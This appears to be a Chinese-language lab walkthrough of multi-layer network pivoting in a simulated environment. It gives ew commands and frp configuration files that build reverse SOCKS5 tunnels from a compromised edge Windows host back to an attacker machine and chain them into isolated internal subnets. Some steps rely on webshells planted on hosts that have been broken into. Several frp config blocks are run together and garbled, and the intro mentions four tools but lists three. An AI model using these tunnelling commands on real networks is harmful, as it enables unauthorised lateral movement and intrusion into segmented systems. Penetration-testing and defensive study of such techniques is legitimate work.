平时看大部分文章都是讲的两层网络的穿透,在真实场景下,有时候是三层甚至四层,自己实践之后发现还是和两层网络差距比较大的。由于是三层网络,写起来图会比较多,选取了四款常用穿透软件:ew,nps,frp进行试验。
拓扑图如下:
192.168.1.0/24模拟公网环境。
每台PC上都有一个web服务,内网主机除边缘win7外全部不出网,内网同网段之间的主机可以相互访问,不同网段相互隔离。
假设现在已经拿到边缘主机win7。(文中所指的win2012全部指相对左边这台)
先看下出不出网,ping一下win7发现是出网的,这种就可以使用反向连接。
将ew上传至边缘机器。
ew_for_Win.exe -s rcsocks -l 1080 -e 1234
ew_for_Win.exe -s rssocks -d 192.168.1.104 -e 1234
这时候回来看攻击机,就已经成功了。
经过一系列操作,我们又写入了一个shell。同样这里需要开启蚁剑代理。
查看192.168.183.134这台主机是否出网,结果是不出网。
由于需要执行命令,我们得保证一级代理不能掉。所以这里我用了两个webshell工具,蚁剑和冰蝎。
蚁剑关闭代理,冰蝎开启sock5代理1080端口,冰蝎去连192.168.183.134这台不出网主机,蚁剑连接边缘机器192.168.1.110。
攻击机另起一个cmd,执行命令:
ew_for_Win.exe -s lcx_listen -l 3080 -e 8888
注意这里的端口不要和刚刚1080端口重合。
不出网主机win2012执行命令:
ew_for_Win.exe -s ssocksd -l 9999
再通过边缘机器打通192.168.1.110:8888 和 192.168.183.134:9999 之间的通讯隧道。
ew_for_Win.exe -s lcx_slave -d 192.168.1.104 -e 8888 -f 192.168.183.134 -g 9999
再拿webshell工具去连的话就另外再挂个3080代理就行了。
攻击机配置frps.ini文件
[common]
bind_port = 7000
边缘机器配置frpc.ini
[common]
server_addr = 192.168.1.104
server_port = 7000
[http_proxy]
type = tcp
plugin=socks5
remote_port = 6000
攻击机执行命令
frps.exe -c frps.ini
frpc.exe ‐c frpc.ini
拿到win2012的webshell权限后,准备进一步代理到192.168.57.0/24。一级代理不要掉。
攻击机配置frps.ini
[common]bind_addr = 0.0.0.0bind_port = 7788
[common]bind_addr = 192.168.183.131 bind_port = 7799
[common]server_addr = 192.168.1.104 server_port = 7788 [http_proxy]type = tcplocal_ip = 192.168.183.131 local_port = 1080 remote_port = 1080
[common]server_addr = 192.168.183.131 server_port = 7799 [http_proxy]type = tcpremote_port = 1080 plugin = socks5
执行frpc.exe ‐c frpc.ini
,这里都是没什么回显。
设置代理1080
同样的写入shell之后webshell工具连接挂个代理就行了。